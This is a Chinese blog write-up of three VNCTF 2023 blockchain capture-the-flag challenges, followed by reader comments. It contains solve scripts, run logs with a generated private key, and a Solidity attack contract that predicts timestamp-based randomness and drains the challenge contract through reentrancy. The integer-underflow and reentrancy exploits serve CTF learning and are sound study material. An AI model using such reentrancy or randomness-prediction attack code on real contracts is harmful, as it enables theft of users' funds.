VNCTF 2023 Blockchain Writeup

SignIN

题目描述

1

2

题目附件

解题过程

本题考察选手基本的以太坊同构链智能合约交互操作以及对整型溢出漏洞大致理解

3

根据isSolved函数我们可以得知,需要使得welcomeMessageyear这两个变量相连接得到的字符串为Welcome to VNCTF2023才能达到解出条件。

4

已知solidity编译器版本号为0.4.23,存在整型溢出漏洞,且通过setMsg函数可将year变量设置为2022-x,按照常规输入无法让它等于我们所期望的值2023,但注意到其变量类型为uint16,即可以表示的整数范围为[0-2^16]:[0-65535]

通过利用整型溢出漏洞,不难证明我们计算2022-65536后依旧会得到值2022,因此我们只需传入_newyear为整型65535,传入_welcomeMessage为字符串Welcome to VNCTF,即可解出题目。

链上交互脚本solve.py

from Poseidon.Blockchain import *  # https://github.com/B1ue1nWh1te/Poseidon
import requests
import time

'''
[+] token: v4.local.U858yETbro8kRsSUiHDzTB9C6f8PUvixQ14x20jDNbHUUX80_wsUKdjVEuDhuJoeaP-A76frtfEuJqmNo0HHGVOAWafo2sdaOOoiHL7VW98GNcx1Kv3AZiEGXhtxHrk0rDr1jXsEKHfB_3W9gqlWg47lRsQzLipxeNOxAGWnTfT7mA
[+] contract address: 0x735A41BcEbdE72BD280Aebf48d817A9BdA982b40
[+] flag: flag{2a7acb80-e2d6-4698-b33e-7833a4f7564c}
'''

# 连接至链
chain = Chain("http://1.14.72.170:8545")

# 创建新账户
AccountAddress, AccountPrivateKey = BlockchainUtils.CreateNewAccount()

# 领取测试币
assert (requests.post("http://1.14.72.170:8080/api/claim", data={"address": AccountAddress}).status_code == 200)

# 等待一段时间以便测试币发放得到区块确认
time.sleep(15)

# 导入账户
account = Account(chain, AccountPrivateKey)

# 选择 Solidity 版本
BlockchainUtils.SwitchSolidityVersion("0.4.23")

# 编译题目合约
abi, bytecode = BlockchainUtils.Compile("challenge.sol", "Checkin")

# 实例化题目合约
contractAddress = "0x735A41BcEbdE72BD280Aebf48d817A9BdA982b40"
contract = Contract(account, contractAddress, abi)

# 解题
contract.CallFunction("setMsg", "Welcome to VNCTF", 65535)

# 查看解出状态
contract.ReadOnlyCallFunction("isSolved")

运行日志:

2023-02-18 13:42:24.899 | SUCCESS  | Poseidon.Blockchain:__init__:37 - 
[Chain][Connect]Successfully connected to [http://1.14.72.170:8545]. [Delay] 52 ms
2023-02-18 13:42:25.005 | SUCCESS  | Poseidon.Blockchain:GetBasicInformation:55 - 
[Chain][GetBasicInformation]
[ChainId]45267
[BlockNumber]11109
[GasPrice]1 Gwei
[ClientVersion]Geth/v1.10.17-stable-25c9b49f/linux-amd64/go1.18
2023-02-18 13:42:25.021 | SUCCESS  | Poseidon.Blockchain:CreateNewAccount:705 - 
[BlockchainUtils][CreateNewAccount]
[Address]0x59069B70e3A972eDd4c3e3cA7c00EE4A49407dE7
[PrivateKey]0x1dfac44ce0d06e9cb52fb25cff769eb7ca8eb9257940142207b76a2e736e24bb
2023-02-18 13:42:35.100 | SUCCESS  | Poseidon.Blockchain:__init__:230 - 
[Account][Import]Successfully import account [0x59069B70e3A972eDd4c3e3cA7c00EE4A49407dE7].
2023-02-18 13:42:35.133 | SUCCESS  | Poseidon.Blockchain:GetBalance:108 - 
[Chain][GetBalance][0x59069B70e3A972eDd4c3e3cA7c00EE4A49407dE7]
[1000000000000000000 Wei]<=>[1 Ether]
信息: 用提供的模式无法找到文件。
2023-02-18 13:42:35.269 | SUCCESS  | Poseidon.Blockchain:SwitchSolidityVersion:657 -
[BlockchainUtils][SwitchSolidityVersion]Current Version: 0.4.23
2023-02-18 13:42:35.324 | SUCCESS  | Poseidon.Blockchain:Compile:687 - 
[BlockchainUtils][Compile]
[FileCourse]challenge.sol
[ContractName]Checkin
[ABI][{'constant': True, 'inputs': [], 'name': 'isSolved', 'outputs': [{'name': '', 'type': 'bool'}], 'payable': False, 'stateMutability': 'view', 'type': 'function'}, {'constant': True, 'inputs': [], 'name': 'welcomeMessage', 'outputs': [{'name': '', 'type': 'string'}], 'payable': False, 'stateMutability': 'view', 'type': 'function'}, {'constant': True, 'inputs': [], 'name': 'year', 'outputs': [{'name': '', 'type': 'uint16'}], 'payable': False, 'stateMutability': 'view', 'type': 'function'}, {'constant': False, 'inputs': [{'name': '_welcomeMessage', 'type': 'string'}, {'name': '_newyear', 'type': 'uint16'}], 'name': 'setMsg', 'outputs': [], 'payable': False, 'stateMutability': 'nonpayable', 'type': 'function'}, {'inputs': [{'name': '_mssg', 'type': 'string'}], 'payable': False, 'stateMutability': 'nonpayable', 'type': 'constructor'}]
[Bytecode]608060405234801561001057600080fd5b50604051610a35380380610a3583398101806040528101908080518201929190505050806000908051906020019061004992919061006f565b506107e6600160006101000a81548161ffff021916908361ffff16021790555050610114565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106100b057805160ff19168380011785556100de565b828001600101855582156100de579182015b828111156100dd5782518255916020019190600101906100c2565b5b5090506100eb91906100ef565b5090565b61011191905b8082111561010d5760008160009055506001016100f5565b5090565b90565b610912806101236000396000f300608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806364d98f6e14610067578063b195c90214610096578063f326971614610126578063fa65d29814610159575b600080fd5b34801561007357600080fd5b5061007c6101d0565b604051808215151515815260200191505060405180910390f35b3480156100a257600080fd5b506100ab610416565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100eb5780820151818401526020810190506100d0565b50505050905090810190601f1680156101185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561013257600080fd5b5061013b6104b4565b604051808261ffff1661ffff16815260200191505060405180910390f35b34801561016557600080fd5b506101ce600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803561ffff1690602001909291905050506104c8565b005b6000606061029460008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561026d5780601f106102425761010080835404028352916020019161026d565b820191906000526020600020905b81548152906001019060200180831161025057829003601f168201915b505050505061028f600160009054906101000a900461ffff1661ffff16610512565b610670565b9050806040516020018082805190602001908083835b6020831015156102cf57805182526020820191506020810190506020830392506102aa565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b6020831015156103385780518252602082019150602081019050602083039250610313565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191660405160200180807f57656c636f6d6520746f20564e4354463230323300000000000000000000000081525060140190506040516020818303038152906040526040518082805190602001908083835b6020831015156103de57805182526020820191506020810190506020830392506103b9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019161491505090565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ac5780601f10610481576101008083540402835291602001916104ac565b820191906000526020600020905b81548152906001019060200180831161048f57829003601f168201915b505050505081565b600160009054906101000a900461ffff1681565b81600090805190602001906104de929190610841565b5080600160009054906101000a900461ffff1603600160006101000a81548161ffff021916908361ffff1602179055505050565b60606000806000606060008694506000851415610566576040805190810160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509550610666565b8493505b600084141515610590578280600101935050600a8481151561058857fe5b04935061056a565b826040519080825280601f01601f1916602001820160405280156105c35781602001602082028038833980820191505090505b5091506001830390505b60008514151561066257600a858115156105e357fe5b066030017f01000000000000000000000000000000000000000000000000000000000000000282828060019003935081518110151561061e57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8581151561065a57fe5b0494506105cd565b8195505b5050505050919050565b606080606080606060008088955087945084518651016040519080825280601f01601f1916602001820160405280156106b85781602001602082028038833980820191505090505b50935083925060009150600090505b855181101561077a5785818151811015156106de57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002838380600101945081518110151561073d57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080806001019150506106c7565b600090505b845181101561083257848181518110151561079657fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f01000000000000000000000000000000000000000000000000000000000000000283838060010194508151811015156107f557fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350808060010191505061077f565b83965050505050505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061088257805160ff19168380011785556108b0565b828001600101855582156108b0579182015b828111156108af578251825591602001919060010190610894565b5b5090506108bd91906108c1565b5090565b6108e391905b808211156108df5760008160009055506001016108c7565b5090565b905600a165627a7a7230582093ac2abc3e7e03b0ee84e848110a89210fa42b0a6db771b323d2be285000f6290029
2023-02-18 13:42:35.337 | SUCCESS  | Poseidon.Blockchain:__init__:559 -
[Contract][Instantiate]Successfully instantiated contract [0x735A41BcEbdE72BD280Aebf48d817A9BdA982b40].
2023-02-18 13:42:35.424 | INFO     | Poseidon.Blockchain:CallFunction:577 - 
[Contract][CallFunction]
[ContractAddress]0x735A41BcEbdE72BD280Aebf48d817A9BdA982b40
[Function]setMsg('Welcome to VNCTF', 65535)
2023-02-18 13:42:35.516 | INFO     | Poseidon.Blockchain:SendTransaction:323 - 
[Account][SendTransaction][Traditional]
[TransactionHash]0xbe6485ebe51bdf2474fde49c7bb864970ec5109edce0af607be93c14cdea7f0d
[Txn]{
  "chainId": 45267,
  "from": "0x59069B70e3A972eDd4c3e3cA7c00EE4A49407dE7",
  "to": "0x735A41BcEbdE72BD280Aebf48d817A9BdA982b40",
  "nonce": 0,
  "value": 0,
  "gasPrice": "1 Gwei",
  "gas": 35051,
  "data": "0xfa65d2980000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000ffff000000000000000000000000000000000000000000000000000000000000001057656c636f6d6520746f20564e43544600000000000000000000000000000000"
}
2023-02-18 13:42:49.358 | SUCCESS  | Poseidon.Blockchain:SendTransaction:330 - 
[Account][SendTransaction][Traditional][Success]
[TransactionHash]0xbe6485ebe51bdf2474fde49c7bb864970ec5109edce0af607be93c14cdea7f0d
[BlockNumber]11111
[From]0x59069B70e3A972eDd4c3e3cA7c00EE4A49407dE7
[To]0x735A41BcEbdE72BD280Aebf48d817A9BdA982b40
[Value]0 [GasUsed]35051
[Data]0xfa65d2980000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000ffff000000000000000000000000000000000000000000000000000000000000001057656c636f6d6520746f20564e43544600000000000000000000000000000000
[Logs][]
2023-02-18 13:42:49.414 | SUCCESS  | Poseidon.Blockchain:ReadOnlyCallFunction:612 - 
[Contract][ReadOnlyCallFunction]
[ContractAddress]0x735A41BcEbdE72BD280Aebf48d817A9BdA982b40
[Function]isSolved()
[Result]True

GetoffmyMoney!

题目描述

5

6

题目附件

解题过程

本题考察Solidity智能合约随机数预测漏洞重入攻击漏洞。值得吐槽的一点是解这道题至少需要领取5+3+1=9testETH,而每分钟只能领取1 testETH,因此解出这题至少需要花费9分钟的时间,我表示十分的不理解。

7

根据isSolved函数可知,我们需要将题目合约中的网络原生代币(类似ETH)余额清空,在合约部署时传入余额为5 testETH

8

其中guess函数为竞猜功能,每次需要支付1 testETHrevealResult函数为开奖功能,竞猜结果的值来自于RandomCoin函数根据链上公共变量生成,因此存在随机数预测漏洞,这为我们提供了操作空间。

在链上要想获得真正的随机数是一件十分困难的事情(可以使用预言机,如ChainLink,但过程也并不简便),以太坊区块链上的所有交易都是确定性的状态转换操作,每笔交易都会改变以太坊生态系统的全球状态,并且这是以一种可计算的方式进行,这意味着它没有任何的不确定性更一般地说,在区块链生态系统内,不存在熵或随机性的来源。

如果使用可以被矿工所控制的变量,或是任何人都可以用同样方式获取的变量,如区块哈希值,时间戳,区块高低或是Gas上限等作为随机数的熵源,产生的随机数并不安全,因为其他人可以根据同样的方法生成所谓的随机但早已被确定的数,从而攻击那些不安全的合约。

9

PlayerWins[_to] >= 3即我们已经猜对至少3次后就可以通过withdrawMoney函数撤回我们的资金了(因此我们在部署攻击合约时需要传入3 testETH),并且withdrawFirstWin函数可以让我们多获得1 testETH的奖励。

注意到GetMoney[msg.sender] = true;是在withdrawMoney(msg.sender);之后执行的,前面的require(!GetMoney[msg.sender]);检查可以长期满足,因此存在重入攻击漏洞

10

sendValue函数中,发送资金是通过address.call("")实现的,并且允许该账户为合约账户,我们可以通过部署攻击合约在接收testETH时触发receive函数执行重入回调,清空题目合约的testETH余额。

由于我们第一次执行withdrawFirstWin函数时已经撤回了3+1=4testETH,此时题目合约中还剩下5+3-4=4testETH,因此在receive函数中只需重入4次即可。

攻击合约Hacker.sol

pragma solidity ^0.8.7;

import "./challenge.sol";

contract Hacker {
    GuessGame challenge;
    uint8 count = 0;

    constructor(address payable _addr) payable {
        challenge = GuessGame(_addr);
    }

    receive() external payable {
        if (count < 4) {
            count++;
            challenge.withdrawFirstWin();
        }
    }

    function RandomCoin() private view returns (uint256) {
        return
            uint256(keccak256(abi.encodePacked(block.timestamp ^ 0x1234567))) %
            2;
    }

    function hack() public payable {
        for (uint256 i = 0; i < 3; i++) {
            challenge.guess{value: 1 ether}(RandomCoin());
            challenge.revealResult();
        }
        challenge.withdrawFirstWin();
    }

    function isSolved() public view returns (bool) {
        return challenge.isSolved();
    }

    function burn() public {
        selfdestruct(payable(msg.sender));
    }
}

链上交互脚本solve.py

from Poseidon.Blockchain import *  # https://github.com/B1ue1nWh1te/Poseidon
import requests
import time

'''
[+] token: v4.local.l1rq9qguc2ISECen4Lv_1FCoJvq41Yk0kzGglIACj0IduS_Ug_tBE1HeqjMdo125uMDnCJN8GtrYGWGTCeT7_rpdsMn21nIlQL61VOf24WQq2IeJm7sfBkcCS80O67wohs5TnygT8L7-l6MF_CUEORnjTbHyQiD12s8dJHceK6rvGA
[+] contract address: 0xE1AB5AD932a8f7835e99B44C8f3Fc54D93308575
[+] flag: flag{16f8ddb9-ff37-4014-a1ad-e02dafa1c596}
'''

# 连接至链
chain = Chain("http://162.14.80.206:8545")

# 查看题目合约初始余额
challengeAddress = "0xE1AB5AD932a8f7835e99B44C8f3Fc54D93308575"
chain.GetBalance(challengeAddress)

# 导入账户
account = Account(chain, "<PrivateKey>")

# 编译攻击合约
abi, bytecode = BlockchainUtils.Compile("Hacker.sol", "Hacker")

# 部署攻击合约
hacker = account.DeployContract(abi, bytecode, Web3.toWei(3, "ether"), challengeAddress)["Contract"]

# 开始攻击
hacker.CallFunction("hack")

# 查看解出状态
chain.GetBalance(challengeAddress)
hacker.ReadOnlyCallFunction("isSolved")

hacker.CallFunction("burn")

(运行日志忘记保存了)

元宇宙大师

题目描述

11

12

结果附件

解题过程

本题考察选手的底裤看穿能力

访问题给链接,发现是一个基于Blockscout搭建的以太坊同构私链区块浏览器。题目描述给出了一个合约地址,且合约代码没有开源,原先应该是希望选手通过逆向bytecode来解题的,但是作为一道区块链题目既然给出了浏览器,就要有被看穿底裤的勇气,我们直接采取最优路径解题(提示有无并不影响解题)。要看的地方只有一个,已验证开源的合约

13

15

发现只有两项数据,一番浏览后发现VNCTF2023合约为ERC-20代币合约,与解题似乎无关。但在VNCTF合约中发现两个SafeMint,生成了2NFT

16

分别查看其内容,得到两个外部图片引用链接。

17

18

访问链接后得到两张图片(我此处放的是手动截图,源文件请自行访问链接或通过上面题目描述中给出的结果附件进行下载)。

19

20

第一张图是雪殇姐博客Logo,排除flag嫌疑,直接看第二张图(它存放在去中心化云存储系统IPFS)。

拖进Stegosolve查看没有发现异常隐写内容,直接用zsteg一把梭,贯彻落实底裤看穿精神,瞬间得到flag{Y0u_@re_Th3_mAsteR_0f_the_metAv3rse}

21


6 条留言

  1. QingyIng
    QingyIng · 2023-09-01 08:43

    师傅 NSSCTF 2nd的合约部分你做了么,有wp么求求

    1. B1ue1nWh1te
      B1ue1nWh1te · 2023-09-01 13:28 作者

      已经很久没有参加比赛了- -

      1. QingyIng
        QingyIng · 2023-09-01 13:34

        QAQ

  2. PanZ0e
    PanZ0e · 2023-05-09 10:26

    师傅好,有个问题我想问一下,GetoffmyMoney这个题目,是不是题目要求初始化在部署合约里面打入5个eth,还有一个就是题目合约里面已经存在了receiv()函数,重入攻击的时候为什么还会执行攻击合约的receive()函数呢,萌新入门,感谢师傅的解答

    1. B1ue1nWh1te
      B1ue1nWh1te · 2023-05-09 12:53 作者

      1.是的,解这题至少需要领取9次testETH。
      2.题目合约中的receive函数是为了让合约能够接收testETH,而重入攻击时在withdraw的过程中会将testETH发送到攻击合约,从而会触发攻击合约中的receive函数,它们两者是不同的。

      1. PanZ0e
        PanZ0e · 2023-05-09 12:56

        好的,懂了,谢谢师傅!

发表留言